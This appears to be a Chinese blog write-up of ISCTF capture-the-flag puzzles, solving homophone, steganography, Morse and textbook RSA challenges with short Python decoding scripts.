大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得大写的讷大写的迂大写的鹅伍日大写的特大写的巫坡讷大写的摸大写的乌伍陆啊叁大写的日大写的喔大写的日大写的哥得肆大写的特大写的乌大写的摸巫大写的摸大写的佛坡大写的鹅大写的欺大写的特大写的迂大写的摸大写的迂大写的哥希坡大写的巫勒得大写的日得大写的佛勒大写的希大写的日大写的希喝大写的喔大写的迂零大写的资坡大写的巫大写的迂大写的日科啊零壹大写的乌大写的日摸特摸大写的乌大写的特零玖

根据谐音的字母排序,歪肯定是对应y

又是借用大佬的脚本

# -*- coding: GB2312 -*-
import base64
 
conversion_table = {
    'A': '大写的啊',
    'B': '大写的玻',
    'C': '大写的雌',
    'D': '大写的得',
    'E': '大写的鹅',
    'F': '大写的佛',
    'G': '大写的哥',
    'H': '大写的喝',
    'I': '大写的衣',
    'J': '大写的基',
    'K': '大写的科',
    'L': '大写的勒',
    'M': '大写的摸',
    'N': '大写的讷',
    'O': '大写的喔',
    'P': '大写的坡',
    'Q': '大写的欺',
    'R': '大写的日',
    'S': '大写的思',
    'T': '大写的特',
    'U': '大写的乌',
    'V': '大写的迂',
    'W': '大写的巫',
    'X': '大写的希',
    'Y': '大写的衣',
    'Z': '大写的资',
    'a': '啊',
    'b': '玻',
    'c': '雌',
    'd': '得',
    'e': '鹅',
    'f': '佛',
    'g': '哥',
    'h': '喝',
    'i': '衣',
    'j': '基',
    'k': '科',
    'l': '勒',
    'm': '摸',
    'n': '讷',
    'o': '喔',
    'p': '坡',
    'q': '欺',
    'r': '日',
    's': '思',
    't': '特',
    'u': '乌',
    'v': '迂',
    'w': '巫',
    'x': '希',
    'y': '衣',
    'z': '资',
}
numbers = {'0':'零','1':'壹', '2':'贰', '3':'叁', '4':'肆', '5':'伍', '6':'陆', 7:'柒', '8':'捌', '9':'玖'}
table=dict([val,key] for key,val in conversion_table.items())
numbers=dict([val,key] for key,val in numbers.items())
# print(table[])
test="大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得啊大写的迂大写的哥思壹大写的特勒得啊啊零伍大写的喝大写的特大写的希大写的日大写的喔大写的日大写的鹅大写的鹅歪大写的特零大写的摸巫大写的摸大写的佛勒欺大写的思大写的特大写的佛大写的摸大写的迂零大写的资特大写的特大写的巫壹大写的基得大写的鹅壹大写的希大写的特大写的特大写的基大写的喔大写的日大写的哥大写的日欺大写的特大写的迂大写的日喔玻大写的乌零歪大写的巫摸勒摸大写的乌大写的特零玖"
 
for key in table:
    test=test.replace(key, table[key])
for key in numbers:
    test = test.replace(key,str(numbers[key]))
for key in numbers:
    test = test.replace("歪", "y")  #这个地方比较特殊,在读音里面有两个衣
    #print(test)
# print(test,conversion_table)
print(test)
print(base64.b64decode(base64.b64decode(test)))
 

得到flag

ISCTF wp_第28张图片

小猫

png图片使用stegsolve查看

发现数组坐标

(3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1)
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1)
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1)
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2)
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2)
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3)
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1)
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1)
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1)
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2)
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2)
(4,3),(4,2)

然后在BGR处发现一个新图片

ISCTF wp_第29张图片

删掉前边的32fd后打开图片

ISCTF wp_第30张图片

联想到社会主义核心价值观编码

将坐标一一转换

利用脚本

postion = '''(3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1)
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1)
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1)
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2)
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2)
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3)
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1)
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1)
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1)
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2)
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2)
(4,3),(4,2)'''.split("\n")


data = [["富强","民主","文明","和谐"],["自由","平等","公正","法治"],["爱国","敬业","诚信","友善"]]

print("\n".join(["".join([data[k-1][j-1] for j,k  in list(eval(i)) ]) for i in postion]))

就得到了

公正公正公正诚信文明公正民主
公正法治法治诚信民主公正民主
公正和谐公正民主和谐民主和谐
敬业和谐平等公正公正公正自由
和谐和谐公正自由和谐富强公正
公正和谐文明和谐和谐和谐敬业
和谐文明和谐平等和谐自由和谐
爱国公正自由和谐富强和谐文明
和谐敬业和谐法治和谐公正和谐
法治公正自由公正文明公正公正
和谐法治和谐公正和谐公正法治
友善法治

解码即可得到flag

ISCTF wp_第31张图片

Crypto

夹里夹气

题目

嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤

嘤嘤嘤替换为 -

嘤嘤?替换为.

就得到了

.. ... -.-. - ..-. ----.-- .... ... -... -.. .... ..--.- ... ..-. .--- ..--.- .--- -.. -. ..-. .--- ..--.- -.. .--- -. ..-. .--- -.. -- -----.-s

一眼摩斯密码,解密就得到了flag

ISCTF wp_第32张图片

转换一下

得到flag

ISCTF{HSBDH_SFJ_JDNFJ_DJNFJDM}

easy_rsa

题目

你知道RSA的计算过程吗?
p=139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q=166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
e=65537
c=17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386

跑一下

import gmpy2
from Crypto.Util.number import long_to_bytes

e = 65537
p = 139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q = 166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
c = 17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386
n=p*q
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(long_to_bytes(m))

得到flag

ISCTF wp_第33张图片

rsa_d

题目

你知道RSA的计算过程吗?
p=94404481
q=40152251
e=65537
d=?

跑一下

p=
q=
e=

import gmpy2
n=p*q
phi = (p-1)*(q-1)
d=gmpy2.invert(e,phi)
print(d)

ISCTF wp_第34张图片

得到d

输入计算即可

 

你可能感兴趣的:(java,javascript,开发语言)